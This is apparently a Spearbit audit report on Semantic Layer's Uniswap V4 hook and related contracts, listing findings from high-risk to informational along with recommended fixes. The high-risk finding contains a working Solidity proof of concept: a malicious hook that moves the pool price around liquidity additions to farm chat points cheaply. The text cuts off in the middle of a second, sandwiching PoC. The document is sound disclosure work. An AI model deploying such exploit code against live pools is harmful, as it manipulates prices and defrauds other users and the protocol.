Organization
- @semanticlayer
Engagement Type
Spearbit Web3
Period
-
Researchers
Findings
High Risk
1 findings
1 fixed
0 acknowledged
Medium Risk
1 findings
1 fixed
0 acknowledged
Low Risk
7 findings
5 fixed
2 acknowledged
Informational
19 findings
9 fixed
10 acknowledged
Gas Optimizations
5 findings
1 fixed
4 acknowledged
High Risk1 finding
Chat points manipulation by adding liquidity to custom pools via SVFHook contract
Description
The
addLiquidity
function of theSVFHook
contract is intended for users to increase their available chat points by depositing liquidity (WETH/SVF) into a Uniswap V4 pool. The function allows callers to specify the key of the pool they add liquidity to using thekey
parameter.However, the function does not enforce that the given pool key is indeed associated with the
SVFHook
contract. Which allows adding liquidity to other Uniswap V4 pools that trade the same tokens viaSVFHook::addLiquidity
. This can result in users abusing this functionality by deploying their custom pools with malicious hooks attached, adding liquidity to their own pools, and still increase their chat points in the system at lower costs than if they did it via other means.One possible attack vector would be as follows:
- Attacker deploys a malicious hook that is able to alter liquidity before and after it's added to a pool (that is, setting hook flags
BEFORE_ADD_LIQUIDITY_FLAG
,AFTER_ADD_LIQUIDITY_FLAG
andAFTER_ADD_LIQUIDITY_RETURNS_DELTA_FLAG
). - Attacker deploys a custom Uniswap V4 pool to trade SVF / WETH, attaching the hook deployed in (1)
- In
addLiquidity
, the liquidity to mint is based on the price at the beginning of the execution. This means the attacker can now leverage their hooks to freely alter the actual price at which liquidity is added (different from the initial price queried by the system), and get chat points at lower costs than expected. - Because the attacker managed to alter the price at will to benefit their position, now the attacker can take advantage of the refunds from the
SVFHook
to recover part of the actual assets provided at first.
Proof of Concept
In the
test_spearbit_addLiquidityCustomPoolWithHook
function below, we've developed a test case building upon the test scenarios available inSVFHook.t.sol
, which showcases one possible case of exploiting the vulnerability described:// SPDX-License-Identifier: MITpragma solidity 0.8.26; import "forge-std/Test.sol";import {IHooks} from "v4-core/src/interfaces/IHooks.sol";import {Hooks} from "v4-core/src/libraries/Hooks.sol";import {TickMath} from "v4-core/src/libraries/TickMath.sol";import {SqrtPriceMath} from "v4-core/src/libraries/SqrtPriceMath.sol";import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";import {PoolKey} from "v4-core/src/types/PoolKey.sol";import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";import {CurrencyLibrary, Currency} from "v4-core/src/types/Currency.sol";import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";import {SafeCast} from "v4-core/src/libraries/SafeCast.sol";import {LiquidityAmounts} from "v4-core/test/utils/LiquidityAmounts.sol";import {IPositionManager} from "v4-periphery/src/interfaces/IPositionManager.sol";import {EasyPosm} from "./utils/EasyPosm.sol";import {Fixtures} from "./utils/Fixtures.sol";import {ERC721, ERC721TokenReceiver} from "solmate/src/tokens/ERC721.sol";import "@uniswap/v4-core/test/utils/LiquidityAmounts.sol";import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol"; import "../src/hook/SVFHook.sol";import "../src/Master42.sol";import "../src/SVFToken.sol";import "../src/Warehouse13.sol";import "../src/Vesting.sol";import {WETH} from "solmate/src/tokens/WETH.sol";import {Upgrades} from "openzeppelin-foundry-upgrades/Upgrades.sol";import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; import {BaseHook} from "v4-periphery/src/utils/BaseHook.sol";import {BalanceDeltaLibrary} from "v4-core/src/types/BalanceDelta.sol";import {toBalanceDelta} from "v4-core/src/types/BalanceDelta.sol"; import {Deployers} from "v4-core/test/utils/Deployers.sol"; // The attacker's hook contract that will be attached to their custom Uniswap V4 poolcontract BadLiquidityHook is BaseHook { uint160 public constant MIN_PRICE_LIMIT = TickMath.MIN_SQRT_PRICE + 1; uint160 public constant MAX_PRICE_LIMIT = TickMath.MAX_SQRT_PRICE - 1; BalanceDelta swapDelta; bool hasLiquidity; constructor(IPoolManager _manager) BaseHook(_manager) {} function _beforeAddLiquidity( address, PoolKey calldata poolKey, IPoolManager.ModifyLiquidityParams calldata, bytes calldata ) internal override returns (bytes4) { if (hasLiquidity) { bool zeroForOne = true; swapDelta = poolManager.swap( poolKey, IPoolManager.SwapParams( zeroForOne, 100_000_000_000 ether, zeroForOne ? MIN_PRICE_LIMIT : MAX_PRICE_LIMIT ), bytes("") ); } return IHooks.beforeAddLiquidity.selector; } function _afterAddLiquidity( address sender, PoolKey calldata key, IPoolManager.ModifyLiquidityParams calldata params, BalanceDelta delta, BalanceDelta feesAccrued, bytes calldata hookData ) internal override returns (bytes4, BalanceDelta) { if (hasLiquidity) { bool zeroForOne = false; swapDelta = poolManager.swap( key, IPoolManager.SwapParams(zeroForOne, swapDelta.amount1(), zeroForOne ? MIN_PRICE_LIMIT : MAX_PRICE_LIMIT), bytes("") ); } return (BaseHookUpgradeable.afterAddLiquidity.selector, toBalanceDelta(0, 0)); } function getHookPermissions() public pure override returns (Hooks.Permissions memory) { return Hooks.Permissions({ beforeInitialize: false, afterInitialize: false, beforeAddLiquidity: true, afterAddLiquidity: true, beforeRemoveLiquidity: false, afterRemoveLiquidity: false, beforeSwap: false, afterSwap: false, beforeDonate: false, afterDonate: false, beforeSwapReturnDelta: false, afterSwapReturnDelta: false, afterAddLiquidityReturnDelta: true, afterRemoveLiquidityReturnDelta: false }); }} contract SVFHookTest is Test, Fixtures, ERC721TokenReceiver { using SafeCast for int128; using EasyPosm for IPositionManager; using PoolIdLibrary for PoolKey; using CurrencyLibrary for Currency; using StateLibrary for IPoolManager; uint256 constant MAX_DEADLINE = 12329839823; uint160 SQRT_5000_1 = 5602277097478613991873193822745; //price = token1/token0 = 5000/1 = 5000 uint160 SQRT_2000_1 = 3543190000000000000000000000000; //price = token1/token0 = 2000/1 = 2000 uint160 SQRT_2100000_10 = 36306905189387912912677825629223; uint256 internal ownerPrivateKey = 0xad111; address internal owner = vm.addr(ownerPrivateKey); uint256 internal aiPrivateKey = 0x0d3; address internal ai = vm.addr(aiPrivateKey); uint256 internal daoPrivateKey = 0xda0; address internal dao = vm.addr(daoPrivateKey); int24 MIN_TICK; int24 MAX_TICK; int24 constant MAX_TICK_SPACING = 32767; SVFHook hook; SVFToken svftoken; Warehouse13 warehouse13; Master42 master42; Vesting vesting; PoolId poolId; Currency wethCurrency; Currency svfCurrency; uint256 svfTotalSupply = 42_000_000 ether; function setUp() public { vm.label(owner, "owner"); deployFreshManagerAndRouters(); // those setup function calls the token.approve function for approval which do not work for eth. so we just deploy a random currency0 here. wethCurrency = deployMintAndApproveWETH(); svfCurrency = deployMintAndApproveSVF(); //MockERC20(address(Currency.unwrap(svfCurrency))).mint(address(this), 5000e18); //Deploy and approve posm deployPosmWETH(manager); approvePosmCurrency(wethCurrency); approvePosmCurrency(svfCurrency); // Deploy warehouse13 address warehouse13Proxy = Upgrades.deployUUPSProxy( "out/Warehouse13.sol/Warehouse13.json", abi.encodeCall(Warehouse13.initialize, (address(svftoken), address(dao), address(ai))) ); warehouse13 = Warehouse13(warehouse13Proxy); vm.label(address(warehouse13), "warehouse13"); //Deploy vesting contract uint256 vestingAmount = svfTotalSupply * 90 / 100; vesting = new Vesting(address(svftoken), address(warehouse13), vestingAmount, block.timestamp); // Deploy Master42 address master42Proxy = Upgrades.deployUUPSProxy( "out/Master42.sol/Master42.json", abi.encodeCall(Master42.initialize, (address(owner), address(ai), 10000000)) ); master42 = Master42(master42Proxy); vm.label(address(master42), "master42"); // Mint tokens to provide liquidity and send the rest to the warehouse13 // 21M go to the warehouse13 and the other 21M to provide liquidity vm.prank(dao); svftoken.mint(); vm.stopPrank(); console.log("svftoken total supply after mint", svftoken.totalSupply()); // Transfer required SVF from DAO to test contract for initial liquidity uint256 initialSvfLiquidityAmount = svfTotalSupply * 5 / 100; vm.prank(dao); svftoken.transfer(address(this), initialSvfLiquidityAmount); vm.stopPrank(); // Transfer vesting amount from DAO to Vesting contract vm.prank(dao); svftoken.transfer(address(vesting), vestingAmount); vm.stopPrank(); // Set vesting contract address in warehouse13 vm.startPrank(address(dao)); warehouse13.setVestingAddress(address(vesting)); vm.stopPrank(); // Deploy the hook to an address with the correct flags address flags = address( uint160(Hooks.BEFORE_INITIALIZE_FLAG) ^ (0x4444 << 144) // Namespace the hook to avoid collisions ); SVFHook hookImpl = new SVFHook(); // 2. find hook proxy address bytes memory initializerData = abi.encodeCall( SVFHook.initialize, (address(owner), address(manager), payable(address(posm)), address(master42)) ); bytes memory constructorArgs = abi.encode(address(hookImpl), initializerData); //Add all the necessary constructor arguments from the hook deployCodeTo("ERC1967Proxy.sol:ERC1967Proxy", constructorArgs, flags); hook = SVFHook(flags); vm.label(address(hook), "hook"); // approve hook svftoken.approve(address(hook), type(uint256).max); weth.approve(address(hook), type(uint256).max); // Whitelist token vm.startPrank(owner); hook.updateTokenWhitelists(Currency.unwrap(svfCurrency), true); vm.stopPrank(); // init a pool key = PoolKey(wethCurrency, svfCurrency, 10_000, 3000, IHooks(address(hook))); poolId = key.toId(); manager.initialize(key, SQRT_2100000_10); // Update the SVFHook address vm.startPrank(owner); master42.setHookAddressAndPoolId(address(hook), key.toId()); vm.stopPrank(); vm.startPrank(owner); master42.addPool(100, address(hook)); // lp token address master42.addPool(100, address(svftoken)); // svf token vm.stopPrank(); MIN_TICK = TickMath.minUsableTick(key.tickSpacing); MAX_TICK = TickMath.maxUsableTick(key.tickSpacing); // add some initial liquidity with svf and eth to the pool //console.log("svf initial balance", 5000e18); // it should be 5000e18 uint128 liquidity = LiquidityAmounts.getLiquidityForAmount1( TickMath.getSqrtPriceAtTick(MIN_TICK), TickMath.getSqrtPriceAtTick(MAX_TICK), svfTotalSupply * 5 / 100 ); uint256 amount0 = LiquidityAmounts.getAmount0ForLiquidity( TickMath.getSqrtPriceAtTick(MIN_TICK), TickMath.getSqrtPriceAtTick(MAX_TICK), liquidity ); //vm.deal(user, 100 ether); console.log("initial liquidity", liquidity); console.log("initial amount of ETH", amount0); (uint160 sqrtPriceX96,,,) = manager.getSlot0(key.toId()); console.log("initial sqrt price", sqrtPriceX96); uint128 liquidityDelta = LiquidityAmounts.getLiquidityForAmounts( sqrtPriceX96, TickMath.getSqrtPriceAtTick(MIN_TICK), TickMath.getSqrtPriceAtTick(MAX_TICK), 10e18, initialSvfLiquidityAmount ); console.log( "balance of svf before providing liquidity", IERC20(Currency.unwrap(svfCurrency)).balanceOf(address(this)) ); console.log("liquidity delta value", liquidityDelta); // Get some WETH uint256 wethAmount = 10 ether; weth.deposit{value: wethAmount}(); modifyLiquidityRouter.modifyLiquidity( key, IPoolManager.ModifyLiquidityParams({ tickLower: TickMath.minUsableTick(key.tickSpacing), tickUpper: TickMath.maxUsableTick(key.tickSpacing), liquidityDelta: int128(liquidityDelta), salt: 0 }), ZERO_BYTES ); console.log("initial liquidity delta", liquidityDelta); console.log( "balance of svf after providing liquidity", IERC20(Currency.unwrap(svfCurrency)).balanceOf(address(this)) ); //seedLiquidity(key, amount0, 50e18, MIN_TICK, MAX_TICK); } function deployMintAndApproveSVF() internal returns (Currency currency) { svftoken = new SVFToken("SVF Token", "SVF", 18, dao); address[9] memory toApprove = [ address(swapRouter), address(swapRouterNoChecks), address(modifyLiquidityRouter), address(modifyLiquidityNoChecks), address(donateRouter), address(takeRouter), address(claimsRouter), address(nestedActionRouter.executor()), address(actionsRouter) ]; for (uint256 i = 0; i < toApprove.length; i++) { svftoken.approve(toApprove[i], type(uint256).max); } return Currency.wrap(address(svftoken)); } function deployMintAndApproveWETH() internal returns (Currency currency) { weth = new WETH(); address[9] memory toApprove = [ address(swapRouter), address(swapRouterNoChecks), address(modifyLiquidityRouter), address(modifyLiquidityNoChecks), address(donateRouter), address(takeRouter), address(claimsRouter), address(nestedActionRouter.executor()), address(actionsRouter) ]; for (uint256 i = 0; i < toApprove.length; i++) { weth.approve(toApprove[i], type(uint256).max); } return Currency.wrap(address(weth)); } function calculatePositionKey(address owner, int24 tickLower, int24 tickUpper, bytes32 salt) internal pure returns (bytes32 positionKey) { // positionKey = keccak256(abi.encodePacked(owner, tickLower, tickUpper, salt)) assembly ("memory-safe") { let fmp := mload(0x40) mstore(add(fmp, 0x26), salt) // [0x26, 0x46) mstore(add(fmp, 0x06), tickUpper) // [0x23, 0x26) mstore(add(fmp, 0x03), tickLower) // [0x20, 0x23) mstore(fmp, owner) // [0x0c, 0x20) positionKey := keccak256(add(fmp, 0x0c), 0x3a) // len is 58 bytes // now clean the memory we used mstore(add(fmp, 0x40), 0) // fmp+0x40 held salt mstore(add(fmp, 0x20), 0) // fmp+0x20 held tickLower, tickUpper, salt mstore(fmp, 0) // fmp held owner } } function seedLiquidity(PoolKey memory _key, uint256 amount0, uint256 amount1, int24 tickLower, int24 tickUpper) internal returns (BalanceDelta delta) { (uint160 sqrtPriceX96,,,) = manager.getSlot0(_key.toId()); uint128 liquidityDelta = LiquidityAmounts.getLiquidityForAmounts( sqrtPriceX96, TickMath.getSqrtPriceAtTick(tickLower), TickMath.getSqrtPriceAtTick(tickUpper), amount0, amount1 ); IPoolManager.ModifyLiquidityParams memory params = IPoolManager.ModifyLiquidityParams({ tickLower: tickLower, tickUpper: tickUpper, liquidityDelta: int128(liquidityDelta), salt: 0 }); delta = modifyLiquidityRouter.modifyLiquidity(_key, params, ZERO_BYTES); } // Run with `forge clean && forge test --via-ir --mt test_spearbit_addLiquidityCustomPoolWithHook -vvvv` function test_spearbit_addLiquidityCustomPoolWithHook() public { address attacker = makeAddr("attacker"); // As seen in tests in Master42.t.sol uint128 liquidity = 10; vm.mockCall( address(hook), abi.encodeWithSelector(ISVFHook.totalLockedFullRangeLiquidity.selector, PoolId.unwrap(master42.poolId())), abi.encode(liquidity) ); address flags = address( uint160( type(uint160).max & clearAllHookPermissionsMask | Hooks.AFTER_ADD_LIQUIDITY_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG | Hooks.AFTER_ADD_LIQUIDITY_RETURNS_DELTA_FLAG ) ); deployCodeTo("MaliciousHook.t.sol:BadLiquidityHook", abi.encode(manager), flags); PoolKey memory attackerPoolKey = PoolKey({currency0: wethCurrency, currency1: svfCurrency, fee: 0, tickSpacing: 3000, hooks: IHooks(flags)}); assertNotEq(PoolId.unwrap(attackerPoolKey.toId()), PoolId.unwrap(master42.poolId())); vm.startPrank(attacker); manager.initialize(attackerPoolKey, SQRT_2100000_10); deal(address(svftoken), attacker, 1e18); deal(address(weth), attacker, 1e18); svftoken.approve(address(hook), type(uint256).max); weth.approve(address(hook), type(uint256).max); // Needs some initial liquidity (uint256 uniNFTId,,) = hook.addLiquidity( attackerPoolKey, SVFHook.AddLiquidityParams({amount0Desired: 1e18, amount1Desired: 1e18, deadline: MAX_DEADLINE}) ); // Estimated liquidity (uint160 staringSqrtPriceX96,,,) = manager.getSlot0(poolId); uint256 amt0 = 5 ether; uint256 amt1 = 5 ether; uint128 estimatedLiquidity = LiquidityAmounts.getLiquidityForAmounts( staringSqrtPriceX96, TickMath.getSqrtPriceAtTick(MIN_TICK), TickMath.getSqrtPriceAtTick(MAX_TICK), amt0, amt1 ); console.log("Initial estimatedLiquidity", estimatedLiquidity); // Now second addLiquidity call to trigger the attack deal(address(svftoken), attacker, amt0); deal(address(weth), attacker, amt1); // Attacker adds liquidity to their pool via the hook's addLiquidity function. This should: // 1. Add the liquidity to the attacker's pool, invoking the attacker's hook // 2. Register a valid deposit in the `Master42` contract (uniNFTId,,) = hook.addLiquidity( attackerPoolKey, SVFHook.AddLiquidityParams({amount0Desired: amt0, amount1Desired: amt1, deadline: MAX_DEADLINE}) ); bytes32 positionKey = calculatePositionKey(address(posm), MIN_TICK, MAX_TICK, bytes32(uniNFTId)); uint128 actualLiquidity = manager.getPositionLiquidity(attackerPoolKey.toId(), positionKey); console.log("actualLiquidity", actualLiquidity); // Attacker minted hook NFTs assertEq(hook.balanceOf(attacker), 2); // Attacker registered deposit in Master42 (uint256 amount, uint256 pointsDebt) = master42.userInfo(0, attacker); assertGt(amount, 0); assertEq(pointsDebt, 0); vm.warp(1 days); // Attacker now has chat points available assertGt(master42.availablePoints(attacker), 0); vm.stopPrank(); } // [...]}
Recommendation
Validate that the user-controlled keys passed as parameters to the functions in
SVFHook
are correctly validated, making sure they correspond to the expected Uniswap V4 pools that use theSVFHook
contract.- Attacker deploys a malicious hook that is able to alter liquidity before and after it's added to a pool (that is, setting hook flags
Medium Risk1 finding
The assignTeam modifier does not revert on a mismatching team
State
- Fixed
PR #1
Severity
- Severity: Medium
≈
Likelihood: Medium×
Impact: Medium Submitted by
Mario Poneder
Summary
The
assignTeam
modifier does not revert when a user specifies a different_team
than the one they were initially assigned to. This can lead to incorrect deposit accounting in thecreateYeet
method, whereteamDeposits
is credited to the wrong team.Finding Description
The
assignTeam
modifier is intended to assign a user to a team if they have not already been assigned. However, it does not validate that the_team
parameter matches the user's existing team inuserTeams
. As a result, when a user callscreateYeet
with a different_team
, the deposit is credited to the new team, even though the user'suserTeams
mapping remains unchanged.Impact Explanation
- Incorrect deposit tracking: Deposits are credited to the wrong team, leading to inconsistencies in the
teamDeposits
mapping. - Potential exploitation: A malicious user could manipulate team deposit totals by repeatedly calling
createYeet
with different_team
values.
Likelihood Explanation
It requires minimal effort for a user to specify a different
_team
in thecreateYeet
method, which can originate from a mistake or malicious intent.Recommendation
It is recommended to update the
assignTeam
modifier to revert if the user specifies a_team
that differs from their already assigned team:modifier assignTeam(address _user, Team _team) { if (_team == Team.None) revert InvalidTeam(); if (userTeams[_user] == Team.None) { userTeams[_user] = _team; addressByTeam[_team].push(_user); } else if (userTeams[_user] != _team) { revert TeamAlreadyAssigned(); } _;}
Low Risk7 findings
Hardcoded word limit in Copium causes inconsistency with Master42
State
- Fixed
PR #3
Severity
- Severity: Low
Submitted by
Mario Poneder
Description
The
createYeet
function in theCopium
contract enforces a hardcoded word limit of 1000 characters for user messages:require(bytes(_message).length <= 1000, MessageTooLong());
In contrast, the
Master42
contract allows the owner to dynamically adjust thewordLimit
using theupdateWordLimit
function. This discrepancy can lead to inconsistent behavior between the two contracts, especially if they are expected to operate under the same word limit rules.Recommendation
It is recommended to add a
wordLimit
variable and a setter function in theCopium
contract to allow the owner to update the word limit, ensuring it can be synchronized with theMaster42
contract.Inconsistency between hook and supportedTokens[0] due to setHookAddressAndPoolId method
State
- Fixed
PR #8
Severity
- Severity: Low
Submitted by
Mario Poneder
Description
The
setHookAddressAndPoolId
method allows the owner to change thehook
address after it has been added assupportedTokens[0]
in the_addPool
method. This creates an inconsistency between thehook
andsupportedTokens[0]
, as thesupportedTokens[0]
value will still reference the oldhook
address, while thehook
variable will point to the new address. This inconsistency can lead to unexpected behavior in methods that rely onsupportedTokens[0]
to represent thehook
.For example, if the
hook
is changed after being added assupportedTokens[0]
, methods likedeposit
andwithdraw
will behave incorrectly because they rely onsupportedTokens[0]
to represent thehook
.Recommendation
It is recommended to implement one of the following mitigation measures:
-
Prevent changing the hook after initialization:
Disallow thesetHookAddressAndPoolId
method from being called after thehook
has been added assupportedTokens[0]
. This ensures consistency betweenhook
andsupportedTokens[0]
:function setHookAddressAndPoolId(address _hook, PoolId _poolId) public onlyOwner noZeroAddress(_hook) { if (supportedTokens.length > 0 && address(supportedTokens[0]) == address(hook)) { revert HookAlreadySet(); } emit SetHookAddressAndPoolId(_hook, _poolId); hook = ISVFHook(_hook); poolId = _poolId;}
-
Update
supportedTokens[0]
when changing the hook:
If changing thehook
is necessary, implement functionality to updatesupportedTokens[0]
to reflect the newhook
address.function setHookAddressAndPoolId(address _hook, PoolId _poolId) public onlyOwner noZeroAddress(_hook) { emit SetHookAddressAndPoolId(_hook, _poolId); hook = ISVFHook(_hook); poolId = _poolId; if (supportedTokens.length > 0) { supportedTokens[0] = IERC20(_hook); }}
Missing slippage checks in addLiquidity and removeLiquidity methods
State
- Fixed
PR #15
Severity
- Severity: Low
Submitted by
Mario Poneder
Description
The
addLiquidity
method does not include a slippage check for the calculatedliquidity
, which could result in users receiving less liquidity than expected due to price fluctuations. Similarly, theremoveLiquidity
method passes0
foramount0Min
andamount1Min
in thepositionManager.burn
call, which does not protect users from receiving less than the expected amounts oftoken0
andtoken1
when removing liquidity.Recommendation
It is recommended to implement the following mitigation measures:
-
Add a
minLiquidity
parameter toaddLiquidity
:
Introduce aminLiquidity
parameter to theAddLiquidityParams
struct and check that the calculatedliquidity
meets this minimum threshold:if (liquidity < params.minLiquidity) revert InsufficientLiquidity();
-
Add
amount0Min
andamount1Min
parameters toremoveLiquidity
:
Allow the caller to specifyamount0Min
andamount1Min
in theRemoveLiquidityParams
struct and pass these values to thepositionManager.burn
call to enforce slippage protection:delta = positionManager.burn(univ4NftId, params.amount0Min, params.amount1Min, msg.sender, params.deadline, "0x");
Tasks may be fulfilled out of order
State
- Acknowledged
Severity
- Severity: Low
Submitted by
noah.eth
Description
So long as a task is pending, and
_taskId < nextTaskId
, the AI may fulfil them out of order.The caller is a trusted account, however, order does matter in case of a tie for high scores and team leader.
Recommendation
Enforce task fulfilment order for fairness in tied scores. In lieu of enforcing on chain, consider handling and enforcement on the backend.
Semantic Layer
In the backend, we have relevant measures to deal with all missed tasks (pending tasks), tasks can be completed out of order.
Incorrect approval in SVFHook contract
Description
The
beforeInitialize
function of theSVFHook
contract intends to approve thetoken0
andtoken1
assets to thepoolManager
contract. However, it fails to do so because the second approval is instead done to thePERMIT2
address.It's also worth noting that these approvals to the
poolManager
appear to be unnecessary, as the contract is approving thepositionManager
contract to handle tokens. This might be the reason why the incorrect approval described was left unnoticed.Recommendation
Review the approvals in the
beforeInitialize
function, leaving only those strictly necessary for the system to work as intended. Do note that there's another reported issue related to the infinite approvals used in thebeforeInitialize
function, which should also be considered when tackling this issue.Potential denial of service during portfolio initialization in Warehouse13 contract
State
- Acknowledged
Severity
- Severity: Low
Submitted by
tnch
Description
The
initializeSVF
function of theWarehouse13
contract is intended to be called by the contract's owner to initialize the portfolio, checking that the current SVF balance matches 5% of the total supply.uint256 balance = ERC20(svfToken).balanceOf(address(this));if ((totalSupply * 5) / 100 != balance) revert InvalidSVFBalance();
The strict balance check means that any donation of SVF tokens to the contract prior to the owner calling
initializeSVF
might cause a denial of service, because the balance won't match the expected amount. The likelihood of this occurring depends on the deployment and initialization process of the contract.Recommendation
Consider reviewing the balance check performed during the
initializeSVF
function. One potential solution would involve changing the strict check for a greater-than-or-equal one, which would render any donation attempting to DoS the function pointless.Exercise caution around duplicate tokens
Severity
- Severity: Low
Submitted by
noah.eth
Description
Similar to
MasterChef
token balances are relied on for key calculations (tokenSupply = supportedTokens[_pid].balanceOf(address(this));
). In the event two pools use the same token, each deposit counts toward thetokenSupply
of both pools.Recommendation
Exercise extreme caution or add additional validation to prevent admin error.
Informational19 findings
Lack of event emission for sensitive actions
Description
Some actions in the system may benefit from emitting events to ease off-chain monitoring and tracking of sensitive changes. These include:
- Modifying the token whitelist in
SVFHook::updateTokenWhitelists
. - Initializing the portfolio in
Warehouse13::initializeSVF
.
Recommendation
Consider emitting events in the mentioned operations
- Modifying the token whitelist in
Unused modifiers in BaseHookUpgradeable contract
State
- Acknowledged
PR #3
Severity
- Severity: Informational
Submitted by
Mario Poneder
Description
The modifiers
selfOnly
andonlyValidPools
in theBaseHookUpgradeable
contract are defined but not used anywhere in the contract. This results in unnecessary code that increases the contract's complexity without providing any functionality.Recommendation
It is recommended to remove the unused modifiers
selfOnly
andonlyValidPools
from the contract to simplify the codebase and reduce potential confusion for future maintainers. If these modifiers are intended for future use, consider documenting their purpose or implementing them in relevant functions.Semantic Layer
We will keep it as it is, as it's also in the original Uniswap v4 pool base contract.
Unspecified behavior for deposits and withdrawals during pausing of Master42 contract
Description
The owner of the
Master42
contract is entitled to call itssetPause
function to set the paused state of the contract. When the contract is paused, some user functionality is disabled. For example, users cannot send messages via thesendMessage
function. Instead, depositing and withdrawing tokens is allowed even if the contract is paused.While this does not necessarily pose a security risk, the behavior for deposits and withdrawals during such a sensitive scenario must be specified, tested and documented in advance to ensure the contract behaves as intended.
Recommendation
Consider specifying the intended behavior of users' deposits and withdrawals when the contract is paused.
Lack of length limitation for _response in respond method
State
- Fixed
PR #3
Severity
- Severity: Informational
Submitted by
Mario Poneder
Description
The
respond
method does not enforce a length limit on the_response
parameter. This can lead to unnecessarily high gas consumption for the AI agent when storing large_response
strings in theresponses
mapping. While thecheckWordLimit
modifier is used for the_message
parameter in thesendMessage
method, it is not applied to_response
in therespond
method.Recommendation
It is recommended to apply the
checkWordLimit
modifier to the_response
parameter in therespond
method to enforce a length limit and prevent excessive gas consumption.Approval methods not disabled for non-transferrable LP proof NFTs
State
- Fixed
PR #1
Severity
- Severity: Informational
Submitted by
Mario Poneder
Description
The
transferFrom
method in theLPLock
contract is overridden to prevent the transfer of LP proof NFTs, ensuring that these NFTs remain tied to the user and their associatedMaster42
points. However, theapprove
andsetApprovalForAll
methods are not overridden, which allows users to grant approval to other addresses. This creates an inconsistency with the intended non-transferrable nature of the NFTs and could lead to unexpected behavior.The following methods from the
ERC721Upgradeable
contract are not overridden:approve(address to, uint256 tokenId)
setApprovalForAll(address operator, bool approved)
Recommendation
It is recommended to override the
approve
andsetApprovalForAll
methods to prevent approvals for LP proof NFTs, ensuring consistency with the non-transferrable design:function approve(address, uint256) public pure override { revert NoApproval();} function setApprovalForAll(address, bool) public pure override { revert NoApproval();}
Use of infinite approvals in the SVFHook contract
State
- Fixed
PR #12
Severity
- Severity: Informational
Submitted by
Mario Poneder
Description
The
SVFHook
contract uses infinite approvals (type(uint256).max
) fortoken0
andtoken1
withPERMIT2
,poolManager
, andpositionManager
. While this approach reduces the need for repeated approvals, it introduces significant security risks due to unlimited token exposure. If any of the approved contracts are compromised, malicious actors could drain the approved tokens without user consent.Recommendation
It is recommended to switch to an approve-on-demand pattern to mitigate these risks. This approach involves approving only the exact amount of tokens required for each transaction, rather than granting unlimited approval.
Vesting contract requires creator to send correct amount of tokens
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
noah.eth
Description
Vesting
assumes the correct amount of tokens are sent to the contract through a blind transfer. Smaller amounts are problematic and will revert when claiming. Any overages are fully available aftervestingEnd
.Recommendation
Consider using a
transferFrom
in the constructor. Alternatively, exercise caution in verifying deployments and inform recipients that any overages, or accidental transfers, will be available at the end of the vesting period.Trust assumptions around Dao account for Claim.sol
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
noah.eth
Description
Claimable tokens may be swept by the Dao account, and claimable amounts may be updated.
Recommendation
Document the trust assumption. Another issue recommends eliminating claim updates in which case the sweeping is the remaining portion requiring ongoing trust in the Dao. Given the purpose is to reclaim unclaimed amounts, consider setting a deadline where only after the deadline can sweep be called on the claimable tokens.
Incorrect event emission when updating team scores
Description
The
_updateTeamScore
function of theCopium
contract intends to emit theNewHighScore
event when a user achieves a new high score. However, the event is emitted in any case.Recommendation
Modify the function so that the
NewHighScore
event is emitted under the intended condition.Consider addition validation for user friendly error messages
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
noah.eth
Description
getAddressesInTeam
has extra validation to help in case of input error:require(_end > _start, InvalidRange());require(_end <= addressByTeam[_team].length, IndexOutOfBound());
Recommendation
For consistency, consider including the same validation in
getProcessedTasks
.Potentially unbounded response size in checkVibe
Description
The AI's response to the user's message submitted in the
checkVibe
function of theCopium
contract is not validated before being stored in state. Similar to another reported issue, this might lead to an unintended overconsumption of gas, particularly if the data is not validated in the system's backend before signing and submitting the transaction.Recommendation
Consider validating the response's length to ensure no unbounded responses are posted.
The liquidity received moves based on the pool state
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
noah.eth
Description
Noted here for completeness, the behavior is referenced in the slippage and malicious hook issues.
Proof of Concept
A high cost (due to fees) example is here:
add to
test/SVFHook.t.sol
function swapToImpactPrice(uint256 amt, address account) public returns (uint256 token0Before, uint256 token1Before, uint256 token0After, uint256 token1After){ // Capture initial balances uint256 initialWethBalance = weth.balanceOf(account); uint256 initialSvfBalance = svftoken.balanceOf(account); // Check initial price (uint160 initialSqrtPrice,,,) = manager.getSlot0(poolId); console.log("Initial sqrtPriceX96:", initialSqrtPrice); console.log("MIN_TICK sqrtPriceX96:", TickMath.getSqrtPriceAtTick(MIN_TICK)); vm.startPrank(account); swap(key, false, -int256(amt), ZERO_BYTES); vm.stopPrank(); // Capture final balances uint256 finalWethBalance = weth.balanceOf(account); uint256 finalSvfBalance = svftoken.balanceOf(account); return (initialWethBalance, initialSvfBalance, finalWethBalance, finalSvfBalance);} function calculatePositionKey(address owner, int24 tickLower, int24 tickUpper, bytes32 salt) internal pure returns (bytes32 positionKey){ // positionKey = keccak256(abi.encodePacked(owner, tickLower, tickUpper, salt)) assembly ("memory-safe") { let fmp := mload(0x40) mstore(add(fmp, 0x26), salt) // [0x26, 0x46) mstore(add(fmp, 0x06), tickUpper) // [0x23, 0x26) mstore(add(fmp, 0x03), tickLower) // [0x20, 0x23) mstore(fmp, owner) // [0x0c, 0x20) positionKey := keccak256(add(fmp, 0x0c), 0x3a) // len is 58 bytes // now clean the memory we used mstore(add(fmp, 0x40), 0) // fmp+0x40 held salt mstore(add(fmp, 0x20), 0) // fmp+0x20 held tickLower, tickUpper, salt mstore(fmp, 0) // fmp held owner }} function test_addLiquidity_sandwiching() public { address depositor = vm.addr(0x1234); address swapper = vm.addr(0x1235); vm.startPrank(depositor); weth.approve(address(hook), type(uint256).max); svftoken.approve(address(hook), type(uint256).max); vm.stopPrank(); vm.startPrank(swapper); weth.approve(address(swapRouter), type(uint256).max); svftoken.approve(address(swapRouter), type(uint256).max); vm.stopPrank(); // starting price (uint160 staringSqrtPriceX96,,,) = manager.getSlot0(poolId); console.log("starting sqrt price", 